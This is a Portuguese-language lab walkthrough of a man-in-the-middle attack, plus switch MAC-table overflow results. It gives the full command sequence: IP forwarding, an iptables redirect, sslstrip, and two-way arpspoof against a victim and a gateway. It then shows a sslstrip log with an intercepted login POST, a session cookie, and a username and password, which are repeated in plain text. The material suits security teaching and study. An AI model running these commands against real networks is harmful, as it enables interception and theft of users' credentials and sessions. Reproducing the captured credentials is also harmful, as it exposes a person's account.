

## Conceito de ataque Man-In-The-Middle através do transbordamento da tabela MAC

A ferramenta arpspoof é uma ferramenta que esta dentro do pacote dsniff, ele gera pacotes ARP falsos para enganar a vitima e o Gateway, ele troca o MAC do Gateway pelo MAC do atacante, e troca o MAC da vitima pelo MAC do atacante assim todo o trafego da vitima para o Gateway e vice versa, ira passar pelo atacante, este é o ataque chamado de *man-in-the-middle*.

No ataque de sslstrip primeiramente deve ser feito o ataque de *man-in-the-middle*. o atacante se passa por um proxy assim enganando o Alvo e engana o servidor se passando pelo cliente, desta forma todo o trafego esta em texto puro

```
root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
```

Este comando esta habilitando o encaminhamento de pacotes no Linux, sem ele não é possível realizar o *man-in-the-middle*.

```
root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Nesta regra do firewall, esta encaminhando todo o trafego da porta 80 para a porta 8080.

```
root@kali:~# sslstrip -a -l 8080
```

-a Registra todo o trafego HTTP e SSL de entrada e saída.

-l Determina a porta a ser escutada.

```
root@kali:~# arpspoof -i eth0 -t 192.168.1.196 192.168.1.1
```

Todos os pacotes que vierem do 192.168.1.196(Alvo) serão encaminhados para o 192.168.1.1(GW)

```
root@kali:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.196
```

Todos os pacotes que vierem do 192.168.1.1(GW) serão encaminhados para o 192.168.1.196(Alvo)

## Tail -f sslstrip.log

Todo o trafego da vitima fica salva no arquivo sslstrip.log

```
[[[?62;9;c^[[?62;9;c2015-12-02 19:51:00,047 Resolving host: www.esecurity.com.br
2015-12-02 19:51:00,047 Host cached.
2015-12-02 19:51:00,047 Resolved host successfully: www.esecurity.com.br -> 104.25.21.24
2015-12-02 19:51:00,048 Sending request via HTTP...
2015-12-02 19:51:00,074 HTTP connection made.
2015-12-02 19:51:00,074 Sending Request: POST /netclass/login/index.php
2015-12-02 19:51:00,074 Sending header: content-length : 45
2015-12-02 19:51:00,074 Sending header: accept-language : pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
2015-12-02 19:51:00,074 Sending header: connection : keep-alive
2015-12-02 19:51:00,074 Sending header: accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2015-12-02 19:51:00,075 Sending header: user-agent : Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/3
2015-12-02 19:51:00,075 Sending header: host : www.esecurity.com.br
2015-12-02 19:51:00,075 Sending header: referer : http://www.esecurity.com.br/netclass/login/index.php
2015-12-02 19:51:00,075 Sending header: cookie : MoodleSession=92a6f7f29494006811a964f134442d54; __cfduid=d0bf0058862746eb
112402311.1449093046.1449093046.1449093046.1; __utmb=57984190.2.10.1449093046; __utmc=57984190; __utmz=57984190.1449093046
046; __gat=1
2015-12-02 19:51:00,075 Sending header: content-type : application/x-www-form-urlencoded
2015-12-02 19:51:00,075 POST Data (www.esecurity.com.br):
username=vinicius.leao&password=teste123teste
2015-12-02 19:51:00,564 Server connection failed.
2015-12-02 19:51:00,565 Retrying via SSL
2015-12-02 19:51:00,652 Got server response: HTTP/1.1 303 See Other
2015-12-02 19:51:00,652 Got server header: Date:Wed, 02 Dec 2015 21:51:05 GMT
2015-12-02 19:51:00,652 Got server header: Content-Type:text/html; charset=utf-8
2015-12-02 19:51:00,652 Got server header: Connection:close
2015-12-02 19:51:00,652 Got server header: X-Powered-By:PHP/5.4.42
2015-12-02 19:51:00,652 Got server header: Expires:Thu, 19 Nov 1981 08:52:00 GMT
2015-12-02 19:51:00,652 Got server header: Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
2015-12-02 19:51:00,652 Got server header: Pragma:no-cache
2015-12-02 19:51:00,653 Got server header: Content-Language:pt-br
2015-12-02 19:51:00,653 Got server header: Location:http://www.esecurity.com.br/netclass/login/index.php
2015-12-02 19:51:00,653 Got server header: Server:cloudflare-nginx
2015-12-02 19:51:00,653 Got server header: CF-RAY:24ea404a6db918bb-GRU
2015-12-02 19:51:00,664 Read from server:
```

Com todo o trafego passando pelo computador do atacante é possível interceptar o Usuário e a Senha do Alvo.

Username: vinicius.leao

Password: teste123teste

## Transbordamento da tabela ARP

```
Switch#show mac-address-table count

Mac Entries for Vlan 1:
-----
Dynamic Address Count   : 0
Static Address Count    : 0
Total Mac Addresses     : 0

Mac Entries for Vlan 5:
-----
Dynamic Address Count   : 2
Static Address Count    : 0
Total Mac Addresses     : 2

Total Mac Address Space Available: 7453
```

Esta é a tabela mac do switch antes do ataque com 7453 espaço para MACs disponível.

```
Mac Entries for Vlan 5:
-----
Dynamic Address Count   : 8072
Static Address Count    : 0
Total Mac Addresses     : 8072
Total Mac Address Space Available: 0
```

Esta é a tabela MAC após o ataque, com 0 de espaço livre.

```
Switch#show processes cpu
CPU utilization for five seconds: 4%/0%; one minute: 4%; five minutes: 4%
```

Uso da cpu do switch antes do ataque.

```
Switch#show processes cpu
CPU utilization for five seconds: 5%/0%; one minute: 16%; five minutes: 8%
```

Uso da cpu do switch logo após o ataque.